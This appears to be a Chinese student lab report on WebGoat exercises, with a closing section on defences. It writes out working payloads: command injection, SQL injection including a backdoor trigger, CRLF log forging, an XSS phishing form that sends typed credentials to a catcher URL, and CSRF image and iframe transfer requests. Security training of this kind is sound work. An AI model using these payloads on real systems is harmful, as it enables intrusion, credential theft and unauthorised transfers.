一、实验内容
1.1 实验要求
本实践的目标理解常用网络攻击技术的基本原理,
做不少于7个题目,包括SQL,XSS,CSRF
1.1.1 SQL注入攻击
- 命令注入
- 数字型SQL注入
- 日志欺骗
- 字符串型注入
- 数据库后门
1.1.2 XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
1.1.3 CSRF攻击
- Cross Site Request Forgery
- CSRF Prompt By-Pass
1.2 实验原理
1.2.1 SQL注入攻击
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
1.2.2 XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
1.2.3 CSRF攻击
CSRF(Cross site request forgery),即跨站请求伪造,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。它通过伪装来自受信任用户的请求来利用受信任的网站。
二、实验过程
2.1 WebGoat安装
下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar
将文件移入到相应文件夹,终端输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat
浏览器中输入localhost:8080/WebGoat进入WebGoat登录界面
输入用户名guest密码guest
没有出现课程,按照教程进行配置,然后重新运行WebGoat,浏览器重新登陆正常显示
2.2 SQL注入攻击
2.2.1 命令注入
原理:在正常的参数提交过程中添加恶意代码以执行某条指令
目标:可以在目标主机上执行任何系统命令
操作:右键点击,选择 inspect Element 审查网页元素
在审查网页源码框中,可以单击复选框按钮快速找到对应的option
代码
找到选项 AccessControlMatrix.help ,在末尾注入 "& netstat -an & ipconfig"
点击 view开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功
2.2.2 数字型SQL注入
原理:在station字段中注入特征字符,组成新的SQL语句
目标:通过注入SQL字符串查看所有的天气数据
操作:右键地名,选择 inspect Element 审查网页元素,对源代码进行修改,在Value值中添加 or 1=1
点击Go!收到结果
2.2.3 日志欺骗
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
目标:灰色区域代表在Web服务器中的日志中记录的内容,目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作:利用入回车(%0D)和换行符(%0A),在 username 中填入 webgoat%0d%0aLogin Succeeded for username: wtz20174304
点击Login
可以看到webgoat Login Fail
,自己添加的wtz20174304 Login Succeeded
2.2.4 字符串型注入
原理:通过注入字符串绕过认证
目标:尝试插入一个SQL字符串,以显示所有信用卡号码。
操作:在用户名处输入wtz' or 1=1--,点击Go!
2.2.5 数据库后门
输入用户ID101
得到该用户信息,没有验证语句容易进行SQL注入
输入用户ID两个语句101; update employee set salary=10000
输入用户ID101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='larry@stooges.com' WHERE userid = NEW.userid
2.3 XSS攻击
2.3.1 Phishing with XSS
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁
目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作:在搜索框输入如下代码 </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
页面增加一个表单
输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
2.3.2 Stored XSS Attacks
原理:把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站
目标:常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
操作:在Title中任意输入,Message输入 <script>alert("I am wtz20174304.Guess what I did to you? ");</script> ,点击Submit提交
2.3.3 Reflected XSS Attacks
原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
目标:攻击当前页面
操作:输入 <script>alert("I am wtz20174304.Guess what I did to you?");</script> ,点击Purchase
2.4 CSRF攻击
2.4.1 Cross Site Request Forgery
目标:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
操作:网页提示Parameters中的src为279,menu为900,在Message中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=5000" width="1" height="1" />,以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交
在Message List中生成以Title命名的链接,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的
2.4.2 CSRF Prompt By-Pass
查看Parameters
中的scr=328
和menu=900
在消息栏中输入
<iframe src="attack?Screen=328&menu=900&transferFunds=4304"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
点击Submit
生成以Title
命名的链接,点击链接攻击成功
三、实验总结
3.1 基础知识回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
- 防御:主要有以下几点:
- 不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
- sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
(2)XSS攻击的原理,如何防御
- 原理:HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
- 防御:
- 基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。
- 基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误和漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击。
- 客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端(浏览器),这是它与其他模型最大的区别,之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易。
(3)CSRF攻击原理,如何防御
- 原理:CSRF(Cross-siterequestforgery,跨站请求伪造),也被称为one-click attack或者session riding,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。它通过伪装来自受信任用户的请求来利用受信任的网站。
- 防御:
- web站点
- 将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。
- “双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。
- 用户:通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
- web站点
3.2 实验感受
最后一次实验了,本次实验难度应该算是比较简单的了,实验中简单学习了SQL注入攻击、XSS攻击与CSRF攻击,了解了这些攻击的原理以及简单操作,想要深入理解并真正去运用估计还是有很大难度的。同时又同上一个实验一样复习了web的相关知识,虽然比上个实验操作容易一些,但也让我们看到web知识用途的宽泛。这些技术用在现实之中也是防不胜防的,一定要小心警惕,防止被网络攻击。